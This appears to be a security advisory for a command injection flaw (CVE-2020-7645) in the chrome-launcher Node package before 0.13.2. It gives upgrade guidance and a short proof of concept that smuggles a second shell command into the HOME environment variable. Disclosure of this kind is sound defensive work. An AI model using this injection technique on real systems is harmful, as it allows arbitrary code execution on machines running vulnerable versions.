Command Injection Affecting chrome-launcher package, versions <0.13.2
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.32% (72nd
percentile)
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- published 11 Dec 2019
- disclosed 10 Dec 2019
- credit JHU System Security Lab
Introduced: 10 Dec 2019
CVE-2020-7645 Open this link in a new tabHow to fix?
Upgrade chrome-launcher to version 0.13.2 or higher.
Overview
chrome-launcher is a library to launch Google Chrome with ease from node.
Affected versions of this package are vulnerable to Command Injection. By controlling the $HOME environment variable in Linux operating systems, an attacker can execute arbitrary code.
PoC:
var malicious_code = '& touch malicious_file &';
process.env.HOME += "/" + malicious_code;
var Root = require("chrome-launcher");
Root.launch();
CVSS Scores
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